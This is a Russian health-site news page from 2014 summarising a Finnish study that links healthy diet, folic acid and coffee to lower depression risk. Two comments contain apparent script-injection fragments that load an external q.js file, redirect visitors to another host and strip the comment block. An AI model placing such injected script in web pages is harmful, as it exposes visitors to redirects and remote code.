Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Поспал, поел – началась д...  >>  Поспал, поел – началась депрессия! Что есть, чтобы не впасть в депрессию?
 
Обратная связь
 

Поспал, поел – началась депрессия! Что есть, чтобы не впасть в депрессию?

Размер шрифта
17 марта 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Финские ученые провели крупное исследование, в результате которого пришли к неожиданному (но только на первый взгляд!) выводу – здоровое питание снижает риск развития тяжелой депрессии.

Поспал, поел – началась депрессия! Что есть, чтобы не впасть в депрессию?

«Наша работа доказывает, что с помощью здоровой диеты можно не только бороться с депрессией, но и предотвращать ее», – рассказывает Ану Руусунен, магистр наук университета Восточной Финляндии, глава исследовательской группы.

Пациенты, находящиеся в состоянии депрессии, крайне редко задумаются о пользе пищевых продуктов: они питаются, чем попало и, как правило, недоедают. Тем не менее, до сего момента статистическая связь между диетой и риском депрессии была не установлена.

Финские ученые ликвидировали этот пробел. Оказалось, что вышеупомянутый риск достоверно снижается в том случае, если пациент меняет состав своего рациона в сторону овощей, фруктов, ягод, злаков, курицы, рыбы и обезжиренного сыра.

Кроме того, выяснилось, что фолиевая кислота (один из витаминов группы В) также находится на огневом рубеже в борьбе с депрессией. Также среди продуктов с аналогичными свойствами оказался кофе.

Наконец, авторы отметили, что снижение массы тела прогрессивно снижало тяжесть депрессивных симптомов.

Но раз у монеты есть аверс, должен быть и реверс, не так ли? Какие продукты, наоборот, могут усугубить депрессию? Ученые ответили и на этот вопрос. Оказывается, чрезмерное пристрастие к колбасе, сосискам и другому обработанному мясу, а также непомерная любовь к сладостям, газировке и картошке фри вредят не только вашей фигуре, но и эмоциональной сфере.

Помимо прочего, авторы развеяли мифы о некоторых продуктах и веществах, которые ранее ошибочно рассматривались как «антидепрессивные». В их числе оказались цианокобаламин (витамин В12), омега-3 полиненасыщенные жирные кислоты, чай и кофеин из внекофейных источников.

В исследовании приняли участие более 2 000 мужчин среднего и пожилого возраста. Ученые наблюдали за ними в течение весьма длительного срока – от 13 до 20 лет. Испытуемые вели дневники питания и заполняли специальные психологические опросники, по которым исследователи и оценивали рацион питания участников и их эмоциональный статус соответственно.

Депрессия является важнейшим эпидемиологическим феноменом современности; этот синдром грубо нарушает качество жизни и трудоспособность миллионов людей, что приводит к огромным экономическим убыткам. В этом свете разработка новых методов профилактики депрессии (в том числе – с помощью диеты) представляется более чем актуальной задачей.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

17 апреля 2014 в 16:34

Цитировать   |   Пожаловаться

<a href="http://http://www.zdorovieinfo.ru>очень интересно</a>

2 - zzzzzz

30 июня 2015 в 18:45

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:43

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Все что надо знать о бронхите   Суперпродукты до и после застолья   Подруги знают, сколько вы проживете, по вашему характеру   Иммуномодуляры: мифы и правда  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 01 ноября 2013ИНВИТРО – «Марка №1» в России
 
21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт» 11 октября 2013Елена Малышева расскажет все о том, как правильно худеть
 

Слайдшоу

1
Еда и лекарства: когда их нельзя смешивать
Чем полезен секс?
Как студенческая жизнь влияет на здоровье

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.